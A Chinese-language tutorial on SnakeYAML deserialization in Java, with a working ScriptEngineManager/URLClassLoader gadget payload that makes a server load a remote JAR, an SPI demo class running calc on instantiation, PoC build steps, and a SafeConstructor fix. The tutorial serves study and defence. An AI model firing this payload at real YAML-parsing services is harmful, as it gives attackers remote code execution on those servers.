目录
SnakeYaml
使用 SnakeYAML 序列化与反序列化
SnakeYAML 序列化实现
SnakeYAML 反序列化实现
SnakeYaml 反序列化漏洞
基于 ScriptEngineManager 利用链
漏洞原因分析
SPI 服务提供者发现机制
命令执行
漏洞修复
SnakeYaml
SnakeYAML 是一个用于 Java 语言的 YAML 解析库。YAML(YAML Ain't Markup Language)是一种人类可读的数据序列化标准,它通常被用来编写配置文件。SnakeYAML 提供了对 YAML 格式的解析和生成功能,支持将 YAML 文档转换成 Java 对象,以及将 Java 对象序列化为 YAML 格式。
使用 SnakeYAML 序列化与反序列化
idea 新建一个项目,构建系统时选择 Maven。然后在 pom.xml 中添加 SnakeYAML的依赖项
<dependencies><!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml --><dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.27</version></dependency>
</dependencies>
SnakeYAML 序列化实现
public class User {public String name;public void setName(String name) {this.name = name;}public String getName() {return name;}
}
import org.yaml.snakeyaml.Yaml; //导入了SnakeYAML库中的Yaml类,该类提供了将Java对象转换为YAML字符串的功能public class SnakeYamlSerialize { //定义了一个名为SankeYamlDemo的公共类public static void main(String[] args) {User user = new User();user.setName("zhangyun");Yaml yaml = new Yaml(); //创建了一个Yaml类的实例,用于执行序列化操作String dump = yaml.dump(user); //使用Yaml对象的dump方法将user对象序列化为YAML格式的字符串System.out.println(dump); //将序列化后的YAML字符串输出}
}
执行后显示 !!User {name: zhangyun} 。
- 字符串以
!!
开头,这是YAML中的类型标记前缀。!!
后面通常跟着的是对象的类名。 - 提供的序列化结果字符串
!!User {name: zhangyun}
表示SnakeYAML库已经将一个User
类的对象序列化为了YAML格式,该对象的name
属性值为zhangyun
。这是SnakeYAML库序列化Java对象时的默认格式。
SnakeYAML 反序列化实现
class User {public String name;// 无参构造函数 public User() {System.out.println("User构造函数");}// getter方法 public String getName() {System.out.println("User.getName");return name;}// setter方法 public void setName(String name) {System.out.println("User.setName");this.name = name;}// 重写toString方法方便输出 @Overridepublic String toString() {return "User{name='" + name + "'}";}
}
反序列化
import org.yaml.snakeyaml.Yaml;public class SnakeYamlDeserialize {public static void main(String[] args) {// 原始YAML字符串String yamlString = "!!User {name: zhangyun}";// 创建Yaml对象Yaml yaml = new Yaml();User user2 = yaml.load(yamlString); //直接从字符串加载 YAML 数据// 输出反序列化后的User对象System.out.println(user2);}
}
SnakeYaml 反序列化漏洞
因为SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。
基于 ScriptEngineManager 利用链
修改反序列化的代码如下,即将yamlString 修改为
import org.yaml.snakeyaml.Yaml;public class SnakeYamlDeserialize {public static void main(String[] args) {// 原始YAML字符串String yamlString = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://grsuk2.dnslog.cn\"]]]]\n";// 创建Yaml对象Yaml yaml = new Yaml();User user2 = yaml.load(yamlString); //直接从字符串加载 YAML 数据// 输出反序列化后的User对象System.out.println(user2);}
}
执行
即可触发 dnslog
漏洞原因分析
为什么能触发 dnslog?
"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://grsuk2.dnslog.cn\"]]]]";
- !! 表示后面跟的是类名,指示解析器要从这个类实例化一个对象;
- javax.script.ScriptEngineManager 这是Java中的一个类名,属于Java Scripting API的一部分。ScriptEngineManager类提供了对脚本引擎的访问,这些引擎可以用来执行Java支持的脚本语言(如JavaScript、Groovy等);
- [] 方括号表示数组(或列表)。数组可以包含多个元素,这些元素可以是任何YAML支持的数据类型,包括其他数组、对象、字符串、数字等。方括号中的内容将作为参数传递给 其左边类的构造函数。
- [[]] 这里的嵌套方括号表示一个数组的数组,即二维数组。在您的例子中,外层数组是URLClassLoader构造函数的参数,它期望得到一个URL对象的数组。内层数组则包含了一个URL对象。
所以
!!javax.script.ScriptEngineManager
:这是一个类型标记,指示YAML解析器实例化一个javax.script.ScriptEngineManager
对象。ScriptEngineManager
是Java中用于管理脚本引擎的类。[!!java.net.URLClassLoader [...]]
:这是ScriptEngineManager
构造函数的参数,表示要传递一个URLClassLoader
对象。URLClassLoader
是Java中用于从指定的URL加载类和资源的类加载器。[[!!java.net.URL [\"http://o586dd.dnslog.cn\"]]]
:这是URLClassLoader
构造函数的参数,表示要加载的URL数组。在这个例子中,数组只包含一个元素,即远程URLhttp://o586dd.dnslog.cn
。
所以上面是一个特定格式的指令,旨在利用SnakeYAML解析器的功能来实例化Java对象并执行某些操作。
SPI 服务提供者发现机制
服务提供者发现机制(Service Provider Discovery Mechanism)通常也被称为SPI(Service Provider Interface)。SPI机制允许Java应用程序在不修改其源代码的情况下,通过发现和加载服务提供者来实现扩展。
1. 定义服务接口:
首先,需要定义一个服务接口 HelloSPI,这个接口定义了一个或多个方法,服务提供者需要实现这些方法。例如:
package inter;public interface HelloSPI {void sayHello();
}
2. 实现服务接口(服务提供者):
然后,你需要有一个或多个实现这个接口的类 TextHello 和 ImageHello。这些类就是服务提供者。它们需要实现HelloSPI
接口中定义的方法。
package inter;
import java.io.IOException;public class TextHello implements HelloSPI {public TextHello() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}public void sayHello() {System.out.println("Text Hello");}
}
package inter;public class ImageHello implements HelloSPI {public void sayHello() {System.out.println("Image Hello");}
}
3. 创建服务提供者配置文件:
在你的JAR包的META-INF/services
目录下,你需要创建一个文件,文件名是服务接口的完全限定名(包名.接口名,在这个例子中是inter.HelloSPI
)。
文件内容为,你需要列出所有实现这个接口的服务提供者的完全限定名(包名.类名),每行一个。
4. 加载和使用服务提供者:
最后,在你的SPIDemo
类中,你使用ServiceLoader
来加载HelloSPI
接口的服务提供者,并遍历它们来调用sayHello
方法。
package inter;
import java.util.ServiceLoader;public class SPIDemo {public static void main(String[] args) {//1. ServiceLoader类的使用: ServiceLoader<HelloSPI>是Java内置的一个类,用于发现和加载服务提供者。这里的HelloSPI是一个接口,代表了我们想要使用的服务。//通过指定HelloSPI.class作为参数,ServiceLoader知道要查找哪个服务的提供者。//这行代码创建了一个ServiceLoader实例,它会根据HelloSPI接口去查找和加载所有可用的服务提供者。ServiceLoader<HelloSPI> serviceLoader = ServiceLoader.load(HelloSPI.class);//遍历服务提供者:ServiceLoader实现了Iterable接口,因此可以使用增强的for循环来遍历它找到的所有服务提供者。for (HelloSPI helloSPI : serviceLoader) {helloSPI.sayHello();}}
}
for (HelloSPI helloSPI : serviceLoader) { }在这个循环中,每次迭代,ServiceLoader
都会尝试加载并实例化下一个可用的HelloSPI
服务提供者。这里的“加载并实例化”过程是指:
- 加载:
ServiceLoader
会根据服务提供者配置文件(通常位于META-INF/services
目录下,文件名为接口的完全限定名)中的信息,找到服务提供者的类名,并尝试加载这个类。 - 实例化:一旦类被成功加载,
ServiceLoader
会使用这个类的无参构造函数来创建一个新的实例。这个新创建的实例随后被赋值给循环变量helloSPI
,您就可以在循环体内使用这个实例了。
因此,每次循环迭代时,helloSPI
变量都会引用一个新的HelloSPI
实现类的实例。这些实例是根据服务提供者配置文件中的顺序来创建的。
执行后,由于TextHello 在实例化时会自动执行构造函数,从而触发其中的 calc 命令
命令执行
ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致代码执行。
该漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击
下载 poc:https://github.com/artsploit/yaml-payload
观察代码,可知 AwesomeScriptEngineFactory 类实现了 ScriptEngineFactory 接口
打包成 jar 文件
javac -source 8 -target 8 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
运行即可弹窗
漏洞修复
修复方案:加入new SafeConstructor()
类进行过滤
public class main {public static void main(String[] args) {String context = "!!javax.script.ScriptEngineManager [\n" +" !!java.net.URLClassLoader [[\n" +" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +" ]]\n" +"]";Yaml yaml = new Yaml(new SafeConstructor());yaml.load(context);}
}